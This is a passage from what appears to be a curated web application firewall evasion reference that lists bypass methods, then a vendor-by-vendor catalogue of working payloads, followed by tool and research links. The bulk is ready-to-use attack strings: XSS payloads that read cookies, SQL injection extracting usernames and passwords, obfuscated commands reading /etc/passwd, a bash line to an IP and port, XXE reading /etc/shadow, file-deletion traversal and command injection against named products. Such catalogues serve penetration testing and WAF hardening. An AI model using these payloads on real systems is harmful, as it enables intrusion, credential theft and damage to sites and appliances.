 Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle. 
 By sending a HTTP request with a size greater than the limit , we can fully evade WAFs. 
 
 Technique 
 
 Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB). 
 Once done, attach your payload to the request after filling the limit with garbage. 
 
 
 A similar technique was used to bypass Google Cloud Platform WAF . 
 
 Abusing DNS History: 
 
 Often old historical DNS records provide information about the location of the site behind the WAF. 
 The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF. 
 
 
 TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process. 
 
 Tool : bypass-firewalls-by-DNS-history 
 bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
 
 Using Whitelist Strings: 
 Method: 
 
 Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF. 
 This shared secret, if leaked/known, can be used to bypass all protections within the WAF. 
 
 Technique: 
 
 Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF. 
 Usually some *-sync-request keywords or a shared token value is used as the secret. 
 Often adding specific headers may trigger a similar whitelist behaviour. 
 
 Now when making a request to the server, you can append it as a parameter: 
 http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
 
 
 A real life example how this works can be found at this blog . 
 
 Request Header Spoofing: 
 Method: 
 
 The target is to fool the WAF/server into believing it was from their internal network. 
 Adding some spoofed headers to represent the internal network, does the trick. 
 
 Technique: 
 
 With each request some set of headers are to be added simultaneously thus spoofing the origin. 
 The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through. 
 
 Some common headers used: 
 X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
 
 Google Dorks Approach: 
 Method: 
 
 There are a lot of known bypasses of various web application firewalls ( see section ). 
 With the help of google dorks, we can easily find bypasses. 
 
 Techniques: 
 Before anything else, you should hone up skills from Google Dorks Cheat Sheet . 
 
 
 Normal search: 
 +<wafname> waf bypass 
 
 
 Searching for specific version exploits: 
 "<wafname> <version>" (bypass|exploit) 
 
 
 For specific type bypass exploits: 
 "<wafname>" +<bypass type> (bypass|exploit) 
 
 
 On Exploit DB : 
 site:exploit-db.com +<wafname> bypass 
 
 
 On 0Day Inject0r DB : 
 site:0day.today +<wafname> <type> (bypass|exploit) 
 
 
 On Twitter : 
 site:twitter.com +<wafname> bypass 
 
 
 On Pastebin 
 site:pastebin.com +<wafname> bypass 
 
 
 Known Bypasses: 
 Airlock Ergon 
 
 SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult 
 
 
 %C0%80'+union+select+col1,col2,col3+from+table+--+
 
 AWS 
 
 
 SQLi Bypass by @enkaskal 
 
 
 "; select * from TARGET_TABLE --
 
 
 
 XSS Bypass by @kmkz 
 
 
 <script>eval(atob(decodeURIComponent("payload")))//
 
 Barracuda 
 
 Cross Site Scripting by @WAFNinja 
 
 
 <body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
 
 
 HTML Injection by @Global-Evolution 
 
 
 GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
 
 
 XSS Bypass by @0xInfection 
 
 
 <a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
 
 
 
 Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort 
 
 
 Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort 
 
 
 Cerber (WordPress) 
 
 Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son 
 
 
 POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1
 
 
 Protected Admin Scripts Bypass by @ed0x21son 
 
 
 http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
 
 
 REST API Disable Bypass by @ed0x21son 
 
 
 http://host/index.php/wp-json/wp/v2/users/
 
 Citrix NetScaler 
 
 SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security 
 
 
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
 <soapenv:Header/>
 <soapenv:Body>
 <string>’ union select current_user, 2#</string>
 </soapenv:Body>
</soapenv:Envelope>
 
 
 
 generic_api_call.pl XSS by @NNPoster 
 
 
 http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
 
 Cloudflare 
 
 
 XSS Bypass by @@SalahHasoneh1 
 
 
 <svg onx=() onload=(confirm)(1)>
 
 
 
 XSS Bypass by @c0d3g33k 
 
 
 <a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
 
 
 
 XSS Bypasses by @Bohdan Korzhynskyi 
 
 
 <svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
 
 
 
 XSS Bypass by @RakeshMane10 
 
 
 <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
 
 
 
 XSS Bypass by @ArbazKiraak 
 
 
 <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
 
 
 XSS Bypass by @Ahmet Ümit 
 
 
 <--`<img/src=` onerror=confirm``> --!>
 
 
 
 XSS Bypass by @Shiva Krishna 
 
 
 javascript:{alert`0`}
 
 
 
 XSS Bypass by @Brute Logic 
 
 
 <base href=//knoxss.me?
 
 
 
 XSS Bypass by @RenwaX23 (Chrome only) 
 
 <j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x 
 
 
 
 RCE Payload Detection Bypass by @theMiddle 
 
 
 cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
 
 Cloudbric 
 
 
 XSS Bypass by @0xInfection 
 
 
 <a69/onclick=[1].findIndex(alert)>pew
 
 Comodo 
 
 XSS Bypass by @0xInfection 
 
 
 <input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
 
 
 SQLi by @WAFNinja 
 
 
 0 union/**/select 1,version(),@@datadir
 
 DotDefender 
 
 Firewall disable by (v5.0) by @hyp3rlinx 
 
 
 PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
 
 
 Remote Command Execution (v3.8-5) by @John Dos 
 
 
 POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
 
 
 Persistent XSS (v4.0) by @EnableSecurity 
 
 
 GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
 
 
 R-XSS Bypass by @WAFNinja 
 
 
 <svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
 
 
 XSS Bypass by @0xInfection 
 
 
 <p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
 
 
 GET - XSS Bypass (v4.02) by @DavidK 
 
 
 /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
 
 
 POST - XSS Bypass (v4.02) by @DavidK 
 
 
 <img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
 
 
 
 clave XSS (v4.02) by @DavidK 
 
 
 /?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ 
 
 Fortinet Fortiweb 
 
 
 pcre_expression unvaidated XSS by @Benjamin Mejri 
 
 
 /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 
 
 
 CSP Bypass by @Binar10 
 
 
 POST Type Query 
 POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
 
 GET Type Query 
 http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
 
 F5 ASM 
 
 XSS Bypass by @WAFNinja 
 
 
 <table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
 
 F5 BIG-IP 
 
 XSS Bypass by @WAFNinja 
 
 
 <body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
 
 
 XSS Bypass by @Aatif Khan 
 
 
 <body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
 
 
 
 report_type XSS by @NNPoster 
 
 
 https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
 
 
 POST Based XXE by @Anonymous 
 
 
 POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
 
 
 Directory Traversal by @Anastasios Monachos 
 
 
 Read Arbitrary File 
 /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
 
 Delete Arbitrary File 
 POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
 
 F5 FirePass 
 
 SQLi Bypass from @Anonymous 
 
 
 state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ 
 
 ModSecurity 
 
 
 XSS Bypass for CRS 3.2 by @brutelogic 
 
 
 <a href="jav%0Dascript&colon;alert(1)">
 
 
 
 RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1) 
 
 ;+$u+cat+/etc$u/passwd$u
 
 
 
 RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1) 
 
 ;+$u+cat+/etc$u/passwd+\#
 
 
 
 RCE Payloads for PL1 and PL2 by @theMiddle (v3.0) 
 
 /???/??t+/???/??ss??
 
 
 
 RCE Payloads for PL3 by @theMiddle (v3.0) 
 
 /?in/cat+/et?/passw?
 
 
 
 SQLi Bypass by @Johannes Dahse (v2.2) 
 
 0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
 
 
 
 SQLi Bypass by @Yuri Goltsev (v2.2) 
 
 1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
 
 
 
 SQLi Bypass by @Ahmad Maulana (v2.2) 
 
 1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
 
 
 
 SQLi Bypass by @Travis Lee (v2.2) 
 
 amUserId=1 union select username,password,3,4 from users
 
 
 
 SQLi Bypass by @Roberto Salgado (v2.2) 
 
 %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
 
 
 
 SQLi Bypass by @Georgi Geshev (v2.2) 
 
 1%0bAND(SELECT%0b1%20FROM%20mysql.x)
 
 
 
 SQLi Bypass by @SQLMap Devs (v2.2) 
 
 %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
 
 
 
 SQLi Bypass by @HackPlayers (v2.2) 
 
 %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
 
 Imperva 
 
 
 XSS Bypass by @smaury92 
 
 
 <input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
 
 
 
 XSS Bypass by @0xInfection 
 
 
 <x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme
 
 
 
 XSS Bypass by @0xInfection 
 
 
 <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
 
 
 
 XSS Bypass by @0xInfection 
 
 
 <a69/onclick=write&lpar;&rpar;>pew
 
 
 
 XSS Bypass by @ugurercan 
 
 
 <details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
 
 
 
 Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar 
 
 XSS Bypass by @David Y 
 
 
 <svg onload\r\n=$.globalEval("al"+"ert()");>
 
 
 XSS Bypass by @Emad Shanab 
 
 
 <svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
 
 
 XSS Bypass by @WAFNinja 
 
 
 %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
 
 
 XSS Bypass by @i_bo0om 
 
 
 <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
 
 
 XSS Bypass by @c0d3g33k 
 
 
 <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
 
 
 SQLi Bypass by @DRK1WI 
 
 
 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
 
 
 SQLi by @Giuseppe D'Amore 
 
 
 stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
 
 
 
 Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL 
 
 
 Kona SiteDefender 
 
 
 XSS Bypass by @SaadAhmed 
 
 
 %3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
 
 
 
 XSS Bypass by @h1_kenan 
 
 
 asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
 
 
 
 HTML Injection by @sp1d3rs 
 
 
 %2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
 
 
 
 XSS Bypass by @Jonathan Bouman 
 
 
 <body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
 
 
 
 XSS Bypass by @zseano 
 
 
 ?"></script><base%20c%3D=href%3Dhttps:\mysite>
 
 
 XSS Bypass by @0xInfection 
 
 
 <abc/onmouseenter=confirm%60%60>
 
 
 
 XSS Bypass by @sp1d3rs 
 
 
 %2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
 
 
 
 XSS Bypass by @Frans Rosén 
 
 
 <style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
 
 
 
 XSS Bypass by @Ishaq Mohammed 
 
 
 <marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
 
 Profense 
 
 
 GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2) 
 
 Turn off Proface Machine 
 <img src=https://host:2000/ajax.html?action=shutdown>
 
 Add a proxy 
 <img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
 
 
 XSS Bypass by @Michael Brooks (>= v.2.6.2) 
 
 https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
 
 
 
 XSS Bypass by @EnableSecurity (>= v2.4) 
 
 %3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 
 
 QuickDefense 
 
 XSS Bypass by @WAFNinja 
 
 
 ?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
 
 Sucuri 
 
 
 XSS Bypass (POST Only) by @brutelogic 
 
 
 <a href=javascript&colon;confirm(1)>
 
 
 
 Smuggling RCE Payloads by @theMiddle 
 
 
 /???/??t+/???/??ss??
 
 
 
 Obfuscating RCE Payloads by @theMiddle 
 
 
 ;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
 
 
 
 XSS Bypass by @Luka 
 
 
 "><input/onauxclick="[1].map(prompt)">
 
 
 
 XSS Bypass by @Brute Logic 
 
 
 data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
 
 StackPath 
 
 
 XSS Bypass by @0xInfection 
 
 
 <object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
 
 URLScan 
 
 
 Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET) 
 
 http://host.com/test.asp?file=.%./bla.txt
 
 WebARX 
 
 Cross Site Scripting by @0xInfection 
 
 
 <a69/onauxclick=open&#40&#41>rightclickhere
 
 
 
 Bypassing All Protections Using A Whitelist String by @Osanda Malith 
 
 XSS PoC 
 
 http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request
 
 
 LFI PoC 
 
 http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request
 
 
 SQLi PoC 
 
 http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
 
 
 
 WebKnight 
 
 Cross Site Scripting by @WAFNinja 
 
 
 <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
 
 
 SQLi by @WAFNinja 
 
 
 0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
 
 
 XSS Bypass by @Aatif Khan (v4.1) 
 
 <details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
 
 
 
 SQLi Bypass by @ZeQ3uL 
 
 
 10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
 
 Wordfence 
 
 XSS Bypass by @brute Logic 
 
 
 <a href=javas&#99;ript:alert(1)>
<a href=&#01javascript:alert(1)>
 
 
 XSS Bypass by @0xInfection 
 
 
 <a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click
 
 
 
 HTML Injection by @Voxel 
 
 
 http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
 
 
 
 XSS Exploit by @MustLive (>= v3.3.5) 
 
 <html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
 
 
 
 Other XSS Bypasses 
 
 
 <meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
 
 Apache Generic 
 
 Writing method type in lowercase by @i_bo0om 
 
 
 get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
 
 IIS Generic 
 
 Tabs before method by @i_bo0om 
 
 
 GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
 
 Awesome Tools 
 Fingerprinting: 
 
 
 WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity . 
 
 IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm . 
 
 Testing: 
 
 
 GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm . 
 
 Lightbulb Framework - A WAF testing suite written in Python. 
 
 WAFBench - A WAF performance testing suite by Microsoft . 
 
 WAF Testing Framework - A WAF testing tool by Imperva . 
 
 Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline. 
 
 Evasion: 
 
 
 WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou . 
 
 WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r . 
 
 libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally. 
 
 bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF. 
 
 abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs. 
 
 SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs. 
 
 Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network. 
 
 enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions 
 
 WAF Bypass Tool - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. 
 
 Management: 
 
 
 AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS. 
 
 Blogs and Writeups 
 
 Many of the content mentioned above have been taken from some of the following excellent writeups. 
 
 
 
 Web Application Firewall (WAF) Evasion Techniques #1 - By @Secjuice . 
 
 Web Application Firewall (WAF) Evasion Techniques #2 - By @Secjuice . 
 
 Web Application Firewall (WAF) Evasion Techniques #3 - By @Secjuice . 
 
 How To Exploit PHP Remotely To Bypass Filters & WAF Rules - By @Secjuice 
 
 
 ModSecurity SQL Injection Challenge: Lessons Learned - By @SpiderLabs . 
 
 XXE that can Bypass WAF - By @WallArm . 
 
 SQL Injection Bypassing WAF - By @OWASP . 
 
 How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing - By @SunnyHoi . 
 
 Bypassing Web-Application Firewalls by abusing SSL/TLS - By @0x09AL . 
 
 Request Encoding to Bypass WAFs - By @Soroush Dalili 
 
 
 Video Presentations 
 
 
 WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior from @OWASP . 
 
 Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls from BlackHat USA 12 . 
 
 Web Application Firewall - Analysis of Detection Logic from BlackHat . 
 
 Bypassing Browser Security Policies for Fun & Profit from BlackHat . 
 
 Web Application Firewall Bypassing from Positive Technologies . 
 
 Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks from @UseNix . 
 
 Evading Deep Inspection Systems for Fun and Shell from BlackHat US 13 . 
 
 Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) from Fools of Security . 
 
 WAFs FTW! A modern devops approach to security testing your WAF from AppSec USA 17 . 
 
 Web Application Firewall Bypassing WorkShop from OWASP . 
 
 Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch from Rafay Bloch . 
 
 WTF - WAF Testing Framework from AppSecUSA 13 . 
 
 The Death of a Web App Firewall from Brian McHenry . 
 
 Adventures with the WAF from BSides Manchester . 
 
 Bypassing Intrusion Detection Systems from BlackHat . 
 
 Building Your Own WAF as a Service and Forgetting about False Positives from Auscert . 
 
 Presentations & Research Papers 
 Research Papers: 
 
 
 Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys . 
 
 Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks. 
 
 Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution. 
 
 Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis. 
 
 Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters. 
 
 WAF Evasion Testing - A WAF evasion testing guide from SANS . 
 
 Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12 . 
 
